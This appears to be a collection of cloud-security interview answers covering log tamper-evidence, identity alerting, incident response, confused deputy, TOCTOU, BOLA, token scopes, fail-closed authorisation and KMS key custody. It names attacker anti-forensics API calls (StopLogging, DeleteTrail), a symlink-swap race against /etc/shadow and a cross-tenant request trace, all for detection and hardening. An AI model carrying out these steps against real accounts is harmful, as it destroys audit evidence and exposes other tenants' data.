Assume the attacker holds admin in the account that produces the logs. Then every log in that account is theirs: they can delete it, stop delivery, shorten retention, or repoint the trail somewhere they control. The only logs you can still treat as evidence are the ones their credentials cannot reach: delivered to a separate account with write-only ingestion, protected by object-lock retention the destination administrator cannot shorten, with alerting on any gap in delivery. Everything else is a lead, not evidence.

Why admin access reaches the logs

Logs are resources in the account, so the same IAM permissions that let an admin run the workload let them manage its telemetry. On AWS: cloudtrail:StopLogging and DeleteTrail kill the audit trail; logs:DeleteLogGroup and PutRetentionPolicy remove CloudWatch Logs (which by default never expire); s3:DeleteObject and DeleteBucket remove the delivered files. CloudTrail records the StopLogging call: in the same trail the attacker just stopped. That self-referential gap is the whole problem.

What survives

DestinationAttacker can deleteAttacker can stop deliveryNotes
Same accountyesyestrail, bucket, log group all in reach
Separate account, write-onlynoyesthe gap is visible if you alert on it
+ S3 Object Lock (compliance)noyesno principal, including root, can shorten retention

Compliance mode is the load-bearing detail. Governance mode can be bypassed by anyone holding s3:BypassGovernanceRetention, which an admin can grant themselves. Compliance mode cannot be shortened or removed by any user until the retention date passes. Object Lock requires versioning enabled at bucket creation: you cannot retrofit it onto an existing bucket.

Verify it, don't assume it

aws s3api put-object --bucket audit-logs --key probe.json --body probe.json
aws s3api put-object-retention --bucket audit-logs --key probe.json \
  --retention '{"Mode":"COMPLIANCE","RetainUntilDate":"2030-01-01T00:00:00Z"}'
aws s3api delete-object --bucket audit-logs --key probe.json
# expect: AccessDenied — the lock refuses even the highest-privilege caller

Run this with the most privileged credential you have. If the delete succeeds, the retention is governance mode or absent.

Failure modes

  • Delivery stops silently. CloudTrail delivers to S3 in batches, typically within about five minutes of the API call (AWS docs). If nothing alarms on the trail's last delivery time, the first sign of compromise is a gap you notice weeks later. Alarm on the delivery metric, not on the trail existing.
  • Retention shorter than the investigation. If the lock expires in 30 days and the intrusion is found on day 45, the pre-intrusion baseline is gone. Set retention to your longest plausible investigation, not your shortest.
  • The management account is compromised. An organization trail lives in the management account; admin there can delete it. Treat that account as a separate trust boundary with its own controls.
  • The destination bucket policy allows delete. Write-only means the source role has s3:PutObject and nothing else: no DeleteObject, no PutBucketPolicy.

Trade-offs

Compliance-mode retention costs storage for the full window, and you cannot delete early even by mistake: that is the point, but it means test data written to the bucket is stuck too. If your threat model does not require tamper-evidence, a separate account with alerting is the cheaper 80%, and you should say so rather than over-engineering.

Curated: · Written: · Reviewed:

Q&A-34Which identity signals are actually worth alerting on?

Assume a cloud identity provider (AWS IAM with CloudTrail, or Entra ID with sign-in and audit logs) wired to a pager rather than a dashboard. The question is which rules earn a page.

Alert on three things: first use of a credential from a new region or ASN, permission enumeration, and changes to security controls. Everything else (API volume anomalies, impossible-travel heuristics, new user-agent strings) belongs in an investigation queue, not on call.

Volume anomaly detection fails on cloud APIs because legitimate automation is bursty. A nightly ETL job, a CI runner scaling from zero to two hundred pods, a backup principal that wakes at 02:00. The request distribution is heavy-tailed and multimodal, so any threshold that catches an attacker also catches Tuesday's deploy. Precision collapses and the rule gets muted.

The three signals I keep share two properties: low legitimate frequency and high attacker value.

  • New region or ASN for a credential. A key used only from eu-west-1 appearing from an unfamiliar network is rare in normal operation and is what a stolen key looks like on first use.
  • Permission enumeration. One principal calling List*, Describe* and Get* across many services inside a short window is the reconnaissance step before privilege escalation.
  • Security control changes. DeleteTrail, StopLogging, disabling MFA enforcement, attaching AdministratorAccess to a new principal, creating an access key on a privileged user: these are persistence and anti-forensics.

One team's 90-day measurement, illustrative:

SignalAlerts/weekActioned
API volume anomaly2901%
New region for credential1240%
Security control disabled2100%

The operational discipline is per-rule precision, not per-category. Pull the last 90 days of alerts, join them to ticket outcomes, and demote any rule whose actioned rate sits below roughly 10% over a month. Demote, don't delete: the rule still lands in the SIEM for correlation, it just stops waking someone at 03:00.

The failure mode to avoid is muting a whole category. A default rule set produced 340 alerts a week; the team disabled its noisiest category, which was the one that later fired on genuine credential enumeration. Category-level muting removes the signal along with the noise.

Tune thresholds against your own baseline, not a vendor default. A vendor's "unusual region" list is built from its whole customer base; your organisation may legitimately operate from four regions and never from the other twenty. Rebuild the baseline from your own 90 days of CloudTrail or sign-in logs, then set the rule to fire on deviation from that.

Curated: · Written: · Reviewed:

Q&A-18How quickly would you know an identity was being abused?

The 60-second answer. Detection latency is not the time until a rule fires. It is the time until a human acts on the alert, measured end to end: attacker action → log delivery → aggregation → rule evaluation → alert → acknowledgement. Measure it with a benign canary in production, not from the pipeline's own dashboards. In most cloud accounts the dominant term is log delivery plus on-call acknowledgement, and both are usually worse than the team believes.

How to measure it. Pick the action you claim to detect: a new IAM access key, a console login from a new country. Perform a benign version: create a key on a test role you own, from a known IP. Timestamp the API call, the alert, and the human acknowledgement. Repeat weekly and publish p50 and p95 per detection class.

Worked example, one account (hypothetical figures):

StageLatency
log delivery (CloudTrail → S3 → SIEM)14 min
batch rule evaluation5 min
acknowledgement40 min
end to end59 min

The team believed it was near real time. The controlled test put it at 14 + 5 + 40 = 59 minutes, and the 40-minute ack was the median: the p95 was worse.

Streaming vs batch rules. Batch, an hourly query over S3-delivered logs, is cheap to write and cheap to run, but it adds the batch interval plus delivery lag to every detection. Streaming rules (CloudTrail → EventBridge → Lambda) cut evaluation to seconds, at the cost of per-event compute and state you must hold yourself: "five failed logins in ten minutes" needs a window store, and that store is now something that can break. Use streaming where the attacker's window is minutes: privilege escalation, key creation, role assumption. Batch is fine for slow-burn signals like an IAM user created and never used.

Static thresholds vs anomaly detection. Static rules are explainable, cheap, and carry a false-positive rate you can tune down. They miss novel behaviour. Anomaly/UEBA models catch the unknown, but they need a baseline period, their precision is unknown until you run them, and every false positive spends analyst time, which lands straight back in the acknowledgement term you were trying to shrink. Run static rules on the high-value actions as the primary detector; treat anomaly detection as a second tier that pages a human only after it clears a static gate.

Failure modes and how you see them. A rule silently broken by a schema change: detect it with a canary that must fire on schedule. Alert on the absence of the expected alert, not just its presence. A delivery gap: AWS documents CloudTrail log delivery to S3 as typically within 5 minutes and up to 15, so a 15-minute tail is a real floor on anything downstream. Ack latency dominated by one on-call engineer asleep at 03:00: this is why you publish p95, not the median, and why the number is per detection class. A noisy rule's ack time is not the same as a quiet one's.

The figure to publish is the p95 end-to-end latency per detection class, refreshed on a schedule, with the canary that produced it.

Curated: · Written: · Reviewed:

Q&A-35You confirm an attacker has valid credentials in a production account. What is the order of operations?

The order, in one line: snapshot the hosts you know about, revoke the credentials, isolate without terminating, copy the logs somewhere the attacker can't reach, then rebuild. Two rules decide the sequencing: never terminate before you've snapshotted, and revoke before the attacker has time to delete the trail.

First 2 minutes. Declare the incident, name an incident commander, and move comms off the compromised account: an attacker holding valid credentials can read that account's Slack, email and ticketing. Run the investigation from a separate forensic account, not the one you're cleaning.

Preserve volatile state (minutes 2-15). For each known-compromised EC2 instance, take an EBS snapshot and capture memory. An EBS snapshot of a running volume is crash-consistent: fine for disk forensics, useless for RAM. AWS has no native memory snapshot for a running instance; you run an acquisition tool (AVML, LiME) over SSM Run Command and ship the image to S3. Do this before isolation and before termination. Termination is the one action that destroys the answer to "how does it come back."

Revoke (minutes 5-20). This is the real stop-the-bleeding for credential-based access, and it's what teams get wrong by doing it last.

  • Temporary role sessions: attach an inline deny keyed on aws:TokenIssueTime. Existing sessions die; sessions issued after the timestamp still work, so you must also fix the trust policy or delete the role.
{"Version":"2012-10-17","Statement":[{"Effect":"Deny","Action":"*","Resource":"*","Condition":{"DateLessThan":{"aws:TokenIssueTime":"2024-06-01T00:00:00Z"}}}]}
  • IAM user access keys: aws iam update-access-key --access-key-id AKIA... --status Inactive --user-name X. Effective in seconds.
  • IAM Identity Center: revoke the user's active sessions.
  • AssumeRole sessions default to 1 hour and cap at 12, so an unrevoked session can outlive your response by hours.

Isolate, don't destroy (minutes 15-30). Swap the instance's security group to a quarantine SG with no egress and only your forensic host on ingress: aws ec2 modify-instance-attribute --instance-id i-... --groups sg-quarantine. The instance keeps running; you keep memory and disk.

Preserve logs (parallel). CloudTrail event history is 90 days; trail delivery to S3 is typically within 5 minutes. An attacker with admin can stop the trail and delete the bucket, so copy to a separate account with S3 Object Lock and verify the digest files. Pull VPC Flow Logs and GuardDuty findings too.

Remediate. Rebuild from a known-good AMI rather than cleaning in place. Rotate every secret the attacker could have read: SSM Parameter Store, Secrets Manager, env vars, CI tokens. Then hunt persistence: extra IAM users and roles, new access keys, Lambda functions, EC2 key pairs, SSM associations, scheduled tasks.

Failure mode. A team terminated the compromised instances immediately. The memory holding the second-stage payload was gone, and the same intrusion recurred three weeks later through persistence they never found. Destroying the host destroys the answer to how it recurs.

Curated: · Written: · Reviewed:

Q&A-83Explain the confused deputy problem in a cloud context.

A confused deputy is a service that holds broad permissions and performs an action for a caller without checking whether that caller is entitled to the action's target. The service is not compromised: it does exactly what it was asked. In cloud terms: a third-party SaaS vendor's IAM role can write to any customer bucket that has granted it access, and customer B can name customer A's bucket in an API call. The deputy's permissions become the caller's.

Assumption worth stating first: the deputy is a long-lived service principal whose permissions span more than one tenant. If it only ever acts for one tenant, there is no deputy to confuse.

Why it happens. The deputy authenticates the caller, then authorizes itself, then acts. Two checks, neither of which is "is this caller allowed to touch this resource." The gap is structural: the resource name arrives in the request body, where the caller controls it, while the permission was granted to the deputy's identity, where the caller does not.

Mitigations, and when each is the wrong choice.

MitigationWhat the deputy checksWrong choice when
External ID (sts:ExternalId)the caller presents a per-tenant value the resource owner pinned in the role's trust policythe caller is the resource owner's own user, or the ID is looked up from the request body instead of the authenticated caller
Identity passthrough (OIDC token, or sts:AssumeRole session tags read via aws:PrincipalTag)the downstream evaluates the caller's own identityany hop drops the token, or the downstream can't reach the IdP
Resource-policy condition (aws:SourceArn, aws:SourceAccount)the request came from the expected resource, not an arbitrary onethe service doesn't support the key, or the source ARN is itself caller-controlled
Capability URL (S3 presigned URL)possession of the URLyou need per-user revocation, or the URL lands in logs and gets shared

Worked trace: the ExternalId fix. Vendor V (account 999988887777) runs an exporter. Customer A (account 111122223333) creates arn:aws:iam::111122223333:role/vendor-exporter with a trust policy whose condition is "StringEquals": {"sts:ExternalId": "a-7f3c91"}.

  1. Customer B calls V's API: POST /export {"bucket": "customer-a-logs"}.
  2. V's service calls sts:AssumeRole on A's role. If V keys the ExternalId off the bucket name in the request, B wins: B supplied A's bucket name, so V sends A's ID and gets credentials. If V keys it off the authenticated caller's tenant, it sends B's ID, and STS returns AccessDenied.
  3. With A's ExternalId, STS returns temporary credentials scoped to A's role and V writes to A's bucket, which is A's own request, and correct.

The whole fix lives in step 2. Deriving the ExternalId from the request body rather than from the authenticated caller reintroduces the bug with extra ceremony.

Failure mode and detection. The deputy's role carries s3:PutObject on arn:aws:s3:::customer-*/*, and a caller names a bucket they don't own. Detection is a join, not a single alert: correlate the vendor's request log (which tenant called) against CloudTrail (which resource the role touched). A PutObject whose userIdentity.arn is the vendor role and whose resources entry belongs to a different tenant than the caller is the bug firing. CloudTrail's AssumeRole record also carries the requested externalId in requestParameters, so an ID that doesn't match the caller's tenant is visible there too. IAM Access Analyzer flags the cross-account trust that makes the whole thing possible, but it flags the grant, not the misuse: you still need the join to see it happen.

Curated: · Written: · Reviewed:

Q&A-84A control checks a condition and then acts on it. What can go wrong?

The bug is a gap: the check reads state, the action writes based on that read, and nothing holds the state still in between. It is CWE-367, time-of-check to time-of-use. The fix is either to collapse check and act into one atomic operation, or to re-verify at the point of use and let the operation fail if the state moved.

Why the gap exists: the check and the action are usually two separate syscalls, two separate HTTP requests, or two separate statements, and the state lives in a shared object your process does not own. Nothing in between holds a lock. The check's result is a value in your process's memory; the resource is not.

LayerAtomic formFailure signal
Files (POSIX)open(path, O_CREAT|O_EXCL) instead of access() then open(); fstat() the fd you already holdEEXIST
PostgresUPDATE ... WHERE version = $1, or SELECT ... FOR UPDATE, or SERIALIZABLE0 rows affected; serialization_failure (SQLSTATE 40001)
DynamoDBConditionExpression on PutItem/UpdateItem; TransactWriteItems for multi-itemConditionalCheckFailedException
S3PutObject with If-None-Match: * (create-only) or If-Match: <etag> (update-only)412 Precondition Failed
KubernetesUpdate with metadata.resourceVersion set409 Conflict
RedisSET k v NX, a Lua script, or WATCH/MULTI/EXECnil reply; EXEC returns nil

The pattern is the same everywhere: the condition travels with the write, and the store evaluates it under whatever lock it already holds.

Optimistic concurrency in Postgres:

UPDATE accounts
   SET balance = balance - 100, version = version + 1
 WHERE id = 42 AND version = 7 AND balance >= 100;

Then check the row count. Zero rows means either the version moved (someone else wrote) or the balance was insufficient: retry the read, or fail. The check balance >= 100 and the debit are one statement, so no window exists between them. This is the shape to copy: put the predicate in the WHERE clause, not in an if above it.

Failure modes:

  • Lost update / double spend. Two requests both read balance 100, both pass the check, both write. Detected by the version predicate returning 0 rows, if you do not check the row count, you never see it.
  • Symlink swap. access("/tmp/x", W_OK) passes, an attacker replaces /tmp/x with a symlink to /etc/shadow before open(). Detected by EEXIST with O_EXCL, or by O_NOFOLLOW.
  • ABA. The value returns to its old state between check and use, so a version counter is needed, not a value comparison.
  • Stale authorisation. The owner tag is read, then changed, then the write proceeds. Detected by putting the ownership predicate in the write itself.

Detection in test: inject the change between check and use (a hook, a sleep, a concurrent writer) and assert the action fails rather than succeeds. If it succeeds, the window is real.

When not to use: conditional writes add a round trip and a retry path; under contention, SERIALIZABLE and optimistic retries can livelock, so bound the retries and fall back to a lock (SELECT ... FOR UPDATE) or a queue that serialises the operation.

Curated: · Written: · Reviewed:

Q&A-51A system verifies who the caller is on every request. What can still go wrong?

Authentication answers "who is this" and stops there. The failures that survive a per-request identity check are almost all authorisation failures, and the most common one has a name: broken object-level authorisation (BOLA, or IDOR).

What a strong candidate says first

An endpoint that authenticates correctly and then loads a record by a caller-supplied identifier without checking that the caller may reach that record is the classic hole. GET /invoices/8842 with a valid token for tenant A returns tenant B's invoice. The identity check passed; nothing checked entitlement.

Three more that pass the same scan:

  • Function-level: /admin/export sitting behind "any authenticated user" instead of a role.
  • Token scope and audience: a token minted for the billing service accepted by the user service because nobody validates aud.
  • Confused deputy: a service with broad database rights acts on an id the caller supplied, so the caller borrows the service's privileges.

Where to put the check, and what each choice costs

Enforcement pointExpresses ownership?Cost
Per-endpoint checkyesforgotten on the next route: one audit found 340 endpoints sharing the same unchecked pattern
Middleware / decoratoronly coarse (role, scope)can't see the object id until after the handler parses it
Central policy engine (OPA, Cedar)yes, if you pass object attributesextra network hop per decision; policy drift; a PDP outage becomes your outage
Database row-level securityyes, as a predicateper-query overhead; awkward for cross-service rules; migrations touch every table

Deciding criteria: if the rule is "does this row belong to this tenant", push it into the query. RLS or a WHERE tenant_id = $2 is the only place a new route can't bypass. If the rule needs attributes the token doesn't carry (resource owner, sharing grants, time windows), a policy engine earns its hop. Middleware is fine for coarse gates and useless for ownership.

The cost of fail-closed

Deny-on-unknown is right for writes and dangerous as a blanket rule: if the policy engine is a hard dependency, a PDP blip becomes a full outage. The usual compromise is a short-TTL decision cache, fail closed on writes, and fail closed on reads too but with a circuit breaker that pages rather than silently allowing. Separately, fail-closed on "ownership unknown" denies legitimate shared or team resources unless the model can express sharing: that's a modelling gap, not a security win.

Artefacts

Scoped query: the check is the predicate:

-- vulnerable: identity checked, ownership not
SELECT * FROM invoices WHERE id = $1;
-- fixed: ownership is part of the read
SELECT * FROM invoices WHERE id = $1 AND tenant_id = $2;

Trace of the vulnerable path: token for tenant A → handler parses id=8842 → query returns tenant B's row → 200 with B's data. The fix changes the row set, not the response code, so a positive test still passes; only a negative test catches it.

Detection

  • Negative authz test per object-accessing route: authenticate as A, request B's id, assert 404 rather than 403. 403 confirms the object exists.
  • Canary rows per tenant; alert if a canary id is ever returned to a different tenant.
  • Route inventory diffed against authz coverage in CI; a new route with no ownership predicate fails the build.

Closing

Knowing who they are does not say what they may reach. Test the negative case once per access path, and put the ownership predicate where a new endpoint can't forget it.

Curated: · Written: · Reviewed:

Q&A-53An internal service requests broad scopes because narrowing them is awkward. What is the argument against?

The short answer. Broad scopes trade a one-time, local cost for a permanent, system-wide one. Narrowing is awkward once, in one service; a broad token is a standing grant that every holder, every log line, and every downstream hop inherits. Scope is also the only authorization control that still applies after the token leaves its issuer: audience restriction and sender constraints limit where a token can go, not what it can do once it arrives.

Why it matters mechanically. A bearer token is a capability, and its authority is the union of its scopes. So the security of the whole system is the security of the weakest holder of the widest token. Three things break at once:

  • Blast radius. One leaked token reaches every API the scope set names, not the one being called.
  • Attribution. Audit logs show client_id, not intent. With per-purpose tokens the scope names what the caller was doing, which is what you need at 3am.
  • Revocation granularity. You can only revoke the whole token, so containing one compromised caller means breaking the service for everyone.

"Narrowing is awkward" is usually one of three fixable things.

  • The service is a proxy for many callers → exchange the caller's token at the boundary for a narrow one (RFC 8693).
  • The service fans out to many downstreams → mint per-downstream tokens with the right aud (RFC 8707 resource indicators; RFC 9068 for JWT access tokens).
  • The scope model is coarse → split orders into orders.read / orders.write rather than granting both everywhere.
DesignWhat a leaked token reachesRevoke one capabilityAudit shows
Broad scope, passed throughevery API the scope set coversno: revoke the token, break the serviceclient_id
Per-purpose scope + audthe one API whose aud matchesyes: revoke that clientclient_id + scope
Exchange at boundary (RFC 8693)the one downstream the exchanged token was minted foryes: revoke the exchange grantsubject + actor chain

A trace of the exchange path. Gateway holds orders.read orders.write, aud=gateway. It calls inventory: it POSTs to the token endpoint with grant_type=urn:ietf:params:oauth:grant-type:token-exchange, subject_token=<caller token>, audience=inventory-svc, scope=inventory.read. It gets back a token with aud=inventory-svc and only inventory.read. Inventory rejects the original gateway token because aud is gateway, not inventory-svc. If the exchanged token leaks, it reaches inventory reads and nothing else.

Failure modes and how you catch them. The one I have actually seen: a broad token passed gateway → downstream, and the downstream logged request headers, so the token landed in a log aggregator with read access far wider than the call. Others: tokens in error reports and APM traces, and tokens forwarded to a vendor. Detection is concrete: log introspection calls (RFC 7662) and alert on tokens presented to a resource whose aud does not match; alert on any token whose scope set exceeds what that route has ever used; scan log sinks for Authorization: Bearer patterns.

When broad is defensible. A single-purpose service whose API surface is exactly its scope set, with a short TTL and a sender-constrained token (DPoP, RFC 9449, or mTLS-bound, RFC 8705). Then broad ≈ narrow, because the token cannot be replayed by a thief and cannot reach anything the service could not already reach. That is a narrow exception, and it is worth writing down as one: otherwise "awkward" quietly becomes the default for every service that finds scoping inconvenient.

Curated: · Written: · Reviewed:

Q&A-85Your authorisation service is unreachable. What should the application do?

The 90-second answer. First I'd pin down what "unreachable" means and what the call is. If it's a per-request policy decision call to a PDP, the application has three options when that call fails: allow, deny, or serve a recent decision from cache. I'd default to deny, put a short-TTL cache of prior decisions in front so brief outages don't take the site down, and keep a small explicit allowlist of endpoints that never need a decision at all: health checks, static assets, the login page. Then I'd alarm on every cache-served decision, because that counter is the only signal that the control has degraded.

Why deny is the default. A transport error is not a decision. A 403 from the PDP is a decision; a connection refused or a timeout is the absence of one, and mapping absence onto allow hands an attacker a switch they can flip by making your PDP unreachable. Deny is the only default that fails in the safe direction.

The trap that makes fail-closed expensive. "Unreachable" has two shapes. Connection refused fails in microseconds. A blackholed PDP fails by timeout, and if that timeout is the default 30 seconds, every request holds a goroutine and a connection for 30 seconds. At 200 rps that's 6,000 in-flight requests stacked against a pool of maybe 100: the authz outage becomes a full outage of your service, and fail-closed never even gets to run. So the timeout has to be short and explicit, and the call has to be wrapped in a circuit breaker so you stop paying it at all once it's clearly down.

// Go 1.22
func (a *Authorizer) Decide(ctx context.Context, sub, action, res string) (bool, error) {
    ctx, cancel := context.WithTimeout(ctx, 50*time.Millisecond)
    defer cancel()

    d, err := a.pdp.Check(ctx, sub, action, res)
    if err == nil {
        a.cache.Set(key(sub, action, res), Decision{Allow: d.Allow, Expires: time.Now().Add(30 * time.Second)})
        return d.Allow, nil
    }

    if c, ok := a.cache.Get(key(sub, action, res)); ok && time.Now().Before(c.Expires) {
        a.staleServed.WithLabelValues(action).Inc()
        return c.Allow, nil
    }
    return false, err // caller must render this as 403, not 500
}

Trace it: PDP healthy → decision cached with a 30-second expiry, returned. PDP times out at 50 ms → cache lookup on the exact (sub, action, res) triple. Hit and unexpired → the prior decision is served and the counter moves. Miss or expired → false plus the error, and the handler denies. The cache key matters: keying on sub alone means a user who was allowed to read one resource is allowed to write any other for the TTL.

DesignAuthorised during outageAvailabilityRevocation lag
fail openallfullcontrol absent
fail closednonenone on protected routes0
stale cache + closedthose decided within TTLpartialup to TTL

Failure modes and how I'd catch them.

  • Fail-open exception handler. An except: log and continue around the authz call turns every outage into a blanket allow. I've seen it sit in production for two years untested. Detect it by asserting in tests that a stubbed PDP error yields 403, and by alerting on any request that reaches a protected handler without a decision record.
  • Timeout-induced thread exhaustion. Detect with p99 latency and an in-flight-request gauge; if p99 tracks the PDP timeout, the breaker isn't working.
  • Stale revocation. A user revoked 10 minutes ago keeps access for the TTL. Set the TTL from your revocation SLA, not from what feels safe: 30 seconds is fine against a 5-minute SLA, 30 minutes is not.
  • Recovery thundering herd. When the PDP returns, every instance retries at once. Jittered backoff on the breaker's half-open probe.
  • Cache poisoning. A decision cached from a request that was later found to be forged. Cache only decisions the PDP actually returned, never ones inferred from a partial response.

The alternative worth naming. If authorisation is carried in a signed token with embedded scopes, the PDP being down doesn't block requests at all: you trade per-request freshness for availability, and revocation waits until token expiry. That's a legitimate design, but it's a decision about token lifetime, not about error handling, and it should be made deliberately.

How I'd settle it. Blackhole the PDP in a lower environment: drop the packets rather than stopping the process, so you get the timeout path, not the refused path, and watch what the application actually does under load. Then confirm the alarm fires.

An unhandled error is a decision nobody made.

Curated: · Written: · Reviewed:

Q&A-39Why classify data before choosing controls?

Classification is the routing key for controls. It exists because control cost is roughly flat per store while breach cost is not.

A customer-managed KMS key, quarterly access reviews and full data-plane logging cost about the same whether the store holds 40 million rows of public product copy or 40,000 scanned passports. The loss if it leaks differs by four or five orders of magnitude. With no class you have exactly two options: apply the restricted-grade control set everywhere, or apply the cheap set everywhere. The first burns budget and, worse, dilutes the reviews until they are rubber stamps; the second leaves the passports at cache-grade. Classification breaks the tie.

Worked example, assumed unit costs: 200 data stores, one access review costs 4 engineer-hours at $100/hour loaded = $400. Reviewing all 200 quarterly is $320,000/year. If 12 stores are genuinely restricted, reviewing those quarterly ($19,200) and the other 188 annually ($75,200) costs $94,400, and the 12 reviews that matter get real attention instead of being one of 800.

Granularity: classify at the table or column level, not per row. That is the level IAM resource tags, BigQuery policy tags and Snowflake masking policies actually act on. Per-row classification needs a tag column plus row-level security policies, which is more machinery than most teams keep correct.

ClassAccess reviewData-plane loggingKey
publicannualoffprovider
internal6-monthlyonprovider
restrictedquarterlyoncustomer-managed

Failure modes, and how each shows up:

  • Tag drift. New stores get created without a tag. The default decides the blast radius: default-to-public leaks, default-to-restricted floods the review queue. Pick default-restricted, set a coverage SLO, and alert on any untagged store older than 24 hours.
  • Tag-only enforcement. The tag is metadata. If no policy engine reads it, you have documented the risk, not controlled it. Verify by attempting the access the tag is supposed to deny.
  • Class inflation. When everything is restricted, nothing is. Watch the distribution; if restricted exceeds roughly 10-15% of stores, the taxonomy or the classifier is wrong, not the data.
  • Classifier error. Automated discovery (Macie, DLP) has both false positives and false negatives. Sample 100 stores a quarter against a human read and track precision and recall.

Detection that the scheme is working: tag coverage percentage, class distribution, and the share of access reviews that actually revoked a principal. A review that never changes anything is not a control.

When not to bother: a single-store, single-class system. If everything is one class, the taxonomy is overhead: write the control set down once and move on.

The regulatory hook is the same idea. GDPR Article 32 asks for measures "appropriate to the risk", and FIPS 199 / NIST SP 800-60 exist precisely to force that categorization to be explicit before controls are picked. PCI DSS scope reduction is the same move: know which stores hold cardholder data, and the rest of the estate drops out of scope.

Curated: · Written: · Reviewed:

Q&A-10Data is encrypted with a managed key. What does that actually protect against?

Short answer: a managed key protects the bytes on disk and the storage layer underneath the service. It does not protect against a principal the service has already decided may read the object, because the service calls the key service on that principal's behalf and hands back plaintext. The control you actually get is the kms:Decrypt permission and the key policy that grants it. Assuming AWS KMS, which is what "managed key" usually means in this conversation.

Mechanism. KMS does not encrypt your data directly. It generates a data key, the service encrypts the object with AES-256-GCM under that data key, and stores the wrapped data key beside the ciphertext. Every read is an envelope: the service calls kms:Decrypt, KMS unwraps the data key, the service decrypts. So "what does the managed key protect against" reduces to "who can call Decrypt, and is that call logged".

Encryption context is the part people miss. It is a non-secret key-value map bound into the ciphertext as additional authenticated data. For S3 SSE-KMS the context includes the object ARN; for EBS it includes the volume ID. A Decrypt call supplying a different context fails with InvalidCiphertextException, so a ciphertext cannot be replayed into another scope. The context also lands in the CloudTrail Decrypt event, which is how you prove which object was decrypted by whom.

AttackerSSE-S3 (provider key)SSE-KMS + key policyClient-side (Encryption SDK)
Stolen disk, decommissioned driveblockedblockedblocked
Storage-layer or hypervisor accessblockedblockedblocked
Role with s3:GetObject but no kms:Decryptnot blockedblockedblocked
Role with both permissionsnot blockednot blockedblocked
Cloud provider operatornot blockednot blockedblocked

A key policy that makes the third row real:

{
  "Sid": "AllowOrdersApiDecryptViaS3Only",
  "Effect": "Allow",
  "Principal": {"AWS": "arn:aws:iam::111122223333:role/orders-api"},
  "Action": ["kms:Decrypt", "kms:DescribeKey"],
  "Resource": "*",
  "Condition": {
    "StringEquals": {"kms:ViaService": "s3.us-east-1.amazonaws.com"},
    "StringLike": {"kms:EncryptionContext:aws:s3:arn": "arn:aws:s3:::orders-*"}
  }
}

Failure modes worth naming.

  • Throttling. The default quota is 5,500 symmetric cryptographic operations per second per account per Region. A hot bucket without S3 Bucket Keys turns every GET into a Decrypt call; Bucket Keys cut KMS calls by up to 99% by caching a bucket-level key. Symptom is ThrottlingException surfacing as 5xx on reads.
  • Audit gap. KMS Decrypt is a CloudTrail management event and is logged by default. S3 GetObject is a data event and is not. You can see the unwrap without seeing the read.
  • Key deletion. Scheduled deletion has a 7-30 day window, default 30. After it completes the ciphertext is unrecoverable. Deny kms:ScheduleKeyDeletion in the key policy.
  • Cross-account grants. A grant lets another account decrypt without touching your key policy, so a key-policy-only review misses it. Audit with aws kms list-grants.

When it is the wrong tool. If the threat is the service operator or the provider itself, a KMS-managed key does nothing, because the service holds the plaintext. Client-side encryption with the AWS Encryption SDK keeps the data key inside your process and is the only row in that table that closes.

Name the attacker you are defending against. If it is not on the list the key stops, the key is not the control.

Curated: · Written: · Reviewed:

Q&A-81When do you let the provider hold the encryption keys, and when do you bring or hold your own, and what does each option actually buy you?

Two questions hide in this one: who can authorise decryption, and who ends up holding plaintext. Assume the data sits in a managed store and the workloads reading it run in the provider's compute: that assumption decides most of it.

Provider-managed key (SSE-S3, Google default, Azure PMK)Customer-managed / BYOK (KMS CMK, Cloud KMS, Key Vault)HYOK / external key manager (KMS custom key store + CloudHSM, AWS XKS, GCP EKM)
Protects againstlost or scrapped media, snapshots crossing a boundarysame, plus misuse of keys by your own adminssame, plus provider-side access to key material
Separation of dutiesnonekey admin ≠ data reader, enforced in the key policyyou hold the authorisation point
Key-use auditnothing attributable to your identities (GCP states Google-managed key use is not in Cloud Audit Logs)every GenerateDataKey/Decrypt with caller identityyour HSM's log plus the cloud-side call log
Revocationnonedisable or schedule deletion → crypto-shredstop serving key unwrap
Costzero opspolicy discipline, quota managementHSM fleet in the request path

Default keys buy encryption at rest and nothing about identity: whoever the service lets read the object gets plaintext, because the service decrypts for them. Against stolen credentials or a confused-deputy read they are worth nothing.

A customer-managed key earns its keep in the key policy: the one place that says who may decrypt, independent of who may read the blob:

{ "Sid": "WorkloadMayDecrypt", "Effect": "Allow",
  "Principal": {"AWS": "arn:aws:iam::111122223333:role/orders-api"},
  "Action": ["kms:Decrypt", "kms:GenerateDataKey"], "Resource": "*",
  "Condition": {"StringEquals": {"aws:SourceVpce": "vpce-08a1..."}} }

Key administration (PutKeyPolicy, ScheduleKeyDeletion) goes to a separate break-glass role, so the team running the database cannot rewrite who decrypts it. That split is the separation of duties; an account boundary alone does not give it to you.

Rotation and revocation do different jobs. AWS KMS rotates a symmetric customer-managed key on a schedule (annual by default) and keeps the old backing key, so existing ciphertext still decrypts: rotation bounds how long a stolen data key is useful for new data and re-encrypts nothing. Only revocation makes existing ciphertext unreadable: disable the key (immediate, reversible) or schedule deletion (AWS KMS 7–30 days, default 30; Azure Key Vault soft-delete retention 7–90 days, default 30). Plan for that lag. The same key covers replicas and backups, so crypto-shredding a departing customer's key takes those too: the point in an offboarding, a catastrophe in a mistake.

With your own keys you get a key-use trail: CloudTrail, Key Vault diagnostics or Cloud KMS audit logs record each call with the caller's identity. The alert that matters is a change of pattern: a role that never called kms:Decrypt doing 40,000 of them in an hour. With provider-managed keys there is nothing to alert on.

Cost is real. Every envelope operation is a call to the key service: 2,000 object reads per second, each decrypting a per-object data key, is 2,000 Decrypt/s against a per-account, per-region quota (AWS documents 5,500 symmetric operations/s; raisable via support). Data key caching (one data key reused for 60 seconds, capped at 100 messages per entry) takes that to 20 Decrypt/s, at the price of holding a plaintext data key in memory for up to a minute. HYOK adds a network hop to your HSM on every unwrap and makes that HSM a tier-0 dependency: when it is down, reads fail and the data is unreadable. Multi-region HSMs and a tested break-glass, or you have swapped a security question for an outage.

The misconception is "we hold the keys, so the provider cannot read our data." The workload decrypts inside the provider's compute; a compromised workload, stolen role credentials or plaintext in logs read exactly the same whichever option you chose. BYOK buys authorisation control, separation of duties, key-use audit and crypto-shredding. HYOK additionally buys the defensible claim that the provider cannot decrypt without your key manager: that is a key-custody regulation or a contractual commitment, not general hardening.

Failure modes I have seen: a key policy allowing kms:Decrypt on Resource * so any role that can read the blob can decrypt it; rotation scheduled with no re-encrypt job, leaving old ciphertext under old material; a deletion scheduled during an incident that also destroyed the backups; and a Lambda fan-out throttling on KMS at peak because nobody counted the Decrypt calls.

